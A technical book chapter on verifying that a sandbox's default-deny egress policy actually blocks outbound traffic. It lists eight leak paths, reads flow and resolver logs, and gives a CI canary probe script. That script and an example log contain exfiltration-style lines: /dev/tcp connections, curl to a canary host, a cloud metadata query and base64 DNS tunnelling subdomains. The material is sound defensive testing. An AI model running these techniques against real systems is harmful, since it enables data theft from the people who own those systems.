Testing default-deny egress

Egress is everything the sandbox sends outwards, and default-deny means no connection leaves unless a rule names its destination. Removing the outbound leg is the one part of the lethal trifecta from topic 7.3 — private data, untrusted content and a way to communicate outwards — that configuration alone can take away, which is why it is worth doing carefully and why it is so often believed rather than tested.

The gap this chapter is about is between a policy that is correct as written and a sandbox that cannot reach the internet. The first is a statement about a YAML file and the second is a statement about a running process, and the distance between them is made of address families, startup ordering, protocols the policy permits for good reasons, and hosts that are allowed to be talked to but not trusted with what they are told.

Eight ways a correct policy still lets a packet out#

Take a policy that is not misconfigured. It is a Kubernetes NetworkPolicy, the object that states which traffic a selected set of pods may send and receive, with an egress rule permitting TCP/443 to an egress proxy and UDP/53 to the cluster DNS service, DNS being the Domain Name System that turns a hostname into an address. The proxy allows CONNECT, the HTTP method by which a client asks a proxy to open a tunnel to a named host and port, to pypi.org and files.pythonhosted.org. Nothing about that is misconfigured, and all of the following are consistent with it.

Default-deny is a claim about a running system, and the reason a correct policy file is such weak evidence for it is that the policy is only one of the inputs. The behaviour you get is the policy as interpreted by a particular CNI version, applied to a pod with a particular set of addresses, at a particular moment relative to the workload starting, alongside whatever other containers the pod happens to run. Four variables, and the policy is one of them. So "the policy has not been edited in six weeks" is a true statement that establishes nothing about the other three, and a CNI upgrade, an added IPv6 address, a slower node or a new sidecar changes the behaviour without touching the file anybody would think to look at. That is why the evidence in this chapter is a packet that failed to arrive rather than a document that was reviewed.

The policy may only cover one address family. A rule written with ipBlock: 0.0.0.0/0 and a set of except ranges says nothing about IPv6, and if the pod has a routable IPv6 address and the node has IPv6 egress, curl -6 leaves unimpeded. Several CNI implementations treat an egress section with only IPv4 blocks as unconstrained for IPv6.

The policy may not have been programmed when the container started. Most CNIs install egress rules after the sandbox's network namespace exists, and the workload can begin executing in a window of roughly 200 ms to 3 s during which the default route is open. A package's setup.py running at install time sits exactly in that window.

DNS is an exfiltration channel on its own. The policy permits UDP/53 to the cluster resolver, the resolver recurses, and a query for ZXhmaWx0cmF0ZWQtcm93.c2Vjb25kLWNodW5r.collect.telemetry-collect.io reaches the attacker's authoritative nameserver carrying 60 bytes of payload per label. No TCP connection is ever attempted, nothing shows up in proxy logs, and a report of a successful POST may simply be a package's own logging lying about what it did.

The bandwidth of that channel is the part people dismiss it on, and the dismissal is where the reasoning goes wrong. Sixty bytes a label, a couple of usable labels a name, and one name per query is a channel measured in tens of bytes per round trip — hopeless for moving a database and generous for the things an attacker is actually after. An API key fits in one query. A .env file fits in a handful. A list of customer identifiers fits in a few dozen, which is under a minute. The question to ask of an exfiltration channel is therefore not how fast it is but whether the asset fits, and the assets that ruin a company are small.

The allowed host may be a carrier. A package registry accepts uploads, so files.pythonhosted.org and its upload endpoint are a two-way channel to anyone who can create an account; data goes out inside a package that only the attacker ever installs. The same shape appears with any allowlisted host that stores attacker-readable content — a Git host, an object store, an error-reporting endpoint, a URL shortener.

The proxy may be authenticating the wrong thing. If the allowlist is enforced on the CONNECT target, a client that opens CONNECT files.pythonhosted.org:443 and then negotiates TLS with a different SNI — the Server Name Indication field, the hostname a client states inside the TLS handshake so a shared server knows which certificate to present — or that connects to an attacker-run host answering on the allowlisted name via a poisoned resolver entry, gets through a check that only ever looked at a string the client supplied.

The link-local metadata address may still be reachable. 169.254.169.254 is the address every major cloud answers instance-metadata queries on, and it is not covered by an ipBlock written in terms of public CIDRs — Classless Inter-Domain Routing ranges, the 10.0.0.0/8 notation — on some implementations, and a metadata service that hands out node credentials converts a local read into egress from a different, entirely permitted network location.

Egress may be happening from somewhere that is not the sandbox pod. A sidecar or an init container — extra containers that Kubernetes runs alongside or ahead of the main one, in the same pod and often under a different policy — or a log shipper, or a mounted host socket that the sandbox can talk to, gives the untrusted process a way to ask a differently-policied process to make the call.

Finally, the traffic may never have left in the sense being investigated: a second pod in the same namespace, with a permissive policy, is reachable at L3 — layer 3, the routing layer, where a device sees addresses and ports and nothing above them — unless intra-namespace egress is also denied, and one hop through it is enough.

Finding out which one it was#

Enumerating is cheap. Deciding between them requires evidence collected outside the sandbox, because anything the sandbox reports about its own network is written by the process under investigation.

Three sources settle it in practice. VPC or node-level flow logs give you 5-tuples — source address and port, destination address and port, and protocol — with timestamps and byte counts; a flow from the pod IP to an address outside your allowlist proves direct egress and its timestamp against the container's start time distinguishes the CNI race from steady-state leakage. The resolver's query log gives you every name looked up, and a run of high-entropy subdomains under one zone is DNS exfiltration and nothing else. The proxy's access log gives you CONNECT targets and byte counts; a CONNECT to an allowed host with 2 MB uploaded and 200 bytes downloaded is the carrier case rather than a package download.

# flow log, sandbox pod 10.42.7.19
10.42.7.19:44112 -> 185.199.108.153:443  bytes_out=812   t=+0.9s   ACCEPT
10.42.7.19:53001 -> 10.96.0.10:53        bytes_out=1_940 t=+41.2s  ACCEPT

# resolver query log, same window
10.42.7.19 A 5a4d9f1c.c2VjcmV0.collect.telemetry-collect.io
10.42.7.19 A b81e0227.cm93IDI.collect.telemetry-collect.io
   ... 31 more, unique labels, 42 s

That pair identifies two separate findings. The 812-byte flow at t+0.9 s went to a GitHub CDN address before the policy was programmed, which is the install-time race. The thirty-three unique subdomains at t+41 s are the actual exfiltration, and they went through the resolver the policy explicitly permits.

Neither attribution rests on a single reading, and it is worth seeing what corroborates each, because a flow log on its own tells you a packet left and not why it was allowed to. The first flow is dated t+0.9 s, and the window during which the CNI has not yet programmed the rules was given above as roughly two tenths of a second to three seconds. The timestamp falls inside that window, which is a fact about the clock rather than about the policy, and it is what separates "the rules were not there yet" from "the rules were there and are wrong" — the same flow at t+41 s would have meant a policy gap and demanded a different fix. The second finding closes even more tightly. Divide the bytes leaving on the resolver flow by the number of queries the resolver logged and you get about sixty bytes each, which is the size of one small DNS query and nothing more. Two instruments that share no code and no clock — a byte counter on the node and a query counter on the resolver — describe the same traffic, so that flow is the thirty-three queries and essentially nothing else riding alongside them. It also puts a number on the whole leak: under two kilobytes left the pod on that path, which is more than enough for the assets named above and rules out anybody having moved a dataset.

Why IP ranges are the tempting wrong fix#

The instinct that IPs are tighter than names comes from firewalls, where a CIDR is unambiguous and a hostname is a lookup that can change under you. That instinct inverts for a package registry, because the registry does not own its addresses.

One cell in that table reads as a strength and is the concession that decides the comparison. Against the IP allowlist, the "defeated by" row says nothing at L3, because L3 is not checking a name. Read that twice: the reason nothing defeats it is that it is not asking the question a defeat would have to answer. A check that never consults a name cannot be fooled about a name, in the same way that a scale cannot be fooled about colour, and neither fact is a security property. What that row is really recording is that the two schemes are being scored on different questions — the proxy is asked "is this the host you claim" and can get it wrong, the L3 rule is asked "is this address in the set" and gets it right about an address, while the thing you wanted to know was who is on the other end. What that means concretely is that the registry does not own its addresses, so the set you allowlisted is the CDN's, and every other origin the CDN serves is inside your policy without anyone having edited your policy.

Anthropic's own write-up of sandboxing Claude Code, Making Claude Code more secure and autonomous with sandboxing, is candid that egress is the leg that resists a clean answer, and the reason is visible in that table: filesystem scope and process isolation can be stated as properties of your own machine, while egress policy is a statement about the internet's structure, which you do not control. Every enforcement point is a compromise between expressiveness and where the check can physically happen. L3 sees addresses and no names. A proxy sees names and pays a latency cost — typically 1–4 ms per connection and a hard dependency, since a proxy outage takes all egress with it, including your package installs. A DNS-only allowlist sees names for free and enforces nothing against a caller that skips resolution. Production systems generally run two of these together, with L3 denying everything except the proxy's address so the proxy cannot be bypassed, which is why a pod policy of this shape permits TCP/443 to exactly one destination.

The numbers are the argument. A large registry's assets sit behind a CDN whose published ranges cover on the order of hundreds of thousands of addresses shared by a substantial fraction of the web; allowlisting them permits any of those origins, and an attacker who can host content on the same CDN — which costs nothing — is inside your allowlist without touching your policy. Hostname allowlisting at a proxy that terminates TLS, validates the certificate against the requested name, and logs the byte counts is narrower on the dimension that matters, which is who is on the other end.

Proving it, in CI, on every change#

A policy is a claim about behaviour, and the only evidence for it is an attempt that fails. The mechanism is a canary: a host you control, running an authoritative nameserver for a zone you own — the server that answers queries for that domain, so a lookup anywhere in the world eventually reaches it — a TCP listener on several ports, and an HTTP endpoint, all recording every contact with a nonce, meaning a random string minted fresh for one run so a hit can be attributed to it. Each CI run mints a nonce, launches the real sandbox image with the real policy, and runs a probe suite inside it that tries every channel. Then the CI runner — from outside the sandbox, because a sandbox that cannot reach the canary also cannot report that it failed to — asks the canary whether it saw the nonce.

#!/usr/bin/env bash
# runs INSIDE the sandbox; every probe is expected to fail
NONCE="$1"; C=canary.example.net; CIP=203.0.113.44
timeout 5 getent hosts "$NONCE.dns.$C"                 # recursive DNS
timeout 5 dig +short @1.1.1.1 "$NONCE.res.$C"          # direct resolver
timeout 5 bash -c ">/dev/tcp/$CIP/443"                 # raw TCP, no TLS
timeout 5 bash -c ">/dev/tcp/$CIP/9999"                # non-standard port
timeout 5 curl -s "https://$C/$NONCE"                  # plain HTTPS
timeout 5 curl -s --resolve "pypi.org:443:$CIP" \
        "https://pypi.org/$NONCE"                      # SNI/name confusion
timeout 5 curl -6 -s "https://[2001:db8::44]/$NONCE"   # IPv6
timeout 5 curl -s http://169.254.169.254/latest/meta-data/  # metadata
timeout 5 ping -c1 "$CIP"                              # ICMP
exit 0   # the probe never decides; the canary does

# runs OUTSIDE, after the sandbox exits
hits=$(curl -s "https://canary.example.net/api/hits/$NONCE" | jq '.count')
if [ "$hits" -ne 0 ]; then
  curl -s "https://canary.example.net/api/hits/$NONCE" | jq '.events'
  echo "egress policy failed: $hits contacts reached the canary"; exit 1
fi

Four details make the difference between this catching things and this being decoration. The probe runs inside the actual image with the actual policy, not a minimal test container, so that an added base-image package or a changed entrypoint is in scope. It starts at the first instruction the workload can execute, which is what catches the policy-programming race. It runs on every change to the image, the policy, the CNI version and the runtime, because a CNI upgrade is exactly the sort of change that quietly alters IPv6 behaviour. And the verdict comes from the canary rather than from exit codes inside the sandbox, since a probe that hangs and gets killed at 5 seconds looks identical to a probe that was blocked, and both look nothing like a probe that succeeded through a proxy you forgot about.

Lining the probes up against the eight ways out shows where the suite is strong and where it is silent, and the silences are not oversights. Five of the eight have a line in the script: IPv6, DNS twice over, name confusion at the proxy, and link-local metadata, with the startup race covered by when the suite runs rather than by a probe of its own. Three have no line at all, and they share a property. The allowlisted registry that accepts uploads, the sidecar that egresses under a different policy, and the neighbouring pod one hop away are all paths where the packet leaves through something the policy permits or through a process that is not the sandbox. A canary works by being a host nobody is allowed to talk to, so it can only observe traffic that was supposed to be blocked and reached it anyway. Traffic that goes to a host on the allowlist, or that is emitted by a container the policy does not select, never comes near it and never will, however many probes you add. That is the honest reading of what the nine lines buy: they close the channels where the policy was meant to say no, and they are structurally incapable of seeing the channels where the policy says yes.

The suite is also where the fixes get their proof. After adding an explicit IPv6 deny, the curl -6 probe stays silent. After starting workloads with no default route and adding the proxy route only once the policy is confirmed programmed, the t+0.9 s flow disappears. After replacing recursive DNS with an internal resolver that answers only allowlisted names and refuses everything else, the two DNS probes stop producing queries at the canary's nameserver, which is a stronger statement than "the lookup failed" because it is measured at the other end.

Outbound paths that are not sockets#

Egress policy removes one leg of the trifecta and leaves the others exactly as they were. It says nothing about data leaving through channels that are not network egress from the sandbox: the tool's own return value, which travels back into the model's context and onward to whoever reads the agent's output; a file written to a shared artefact store that a human later opens; a pull request the agent was given the authority to open. Those are outbound paths with different plumbing, and a canary suite that only probes sockets will never see them.

It also does nothing about damage that requires no outbound path at all. Code that deletes, that consumes a paid API quota through a permitted call, or that mines the CPU it was given, is unaffected by a default-deny policy, and the resource caps from chapter 1, on isolation boundaries and their costs, are what bound it.

What the canary buys is narrow and worth having: on every change, a statement that these nine channels were tried from inside the real image and none reached a host you own. That is not a proof that egress is closed — the tenth channel is the one nobody wrote a probe for — and it is the difference between a policy somebody believes and a policy something has attacked this week.

With the network shut, the untrusted process is left with what it can reach locally, and that is a larger set than most designs assume. The next chapter takes the filesystem apart the same way — build a scope, then attack it, on the principle that an escape attempt that fails is the only evidence the scope exists.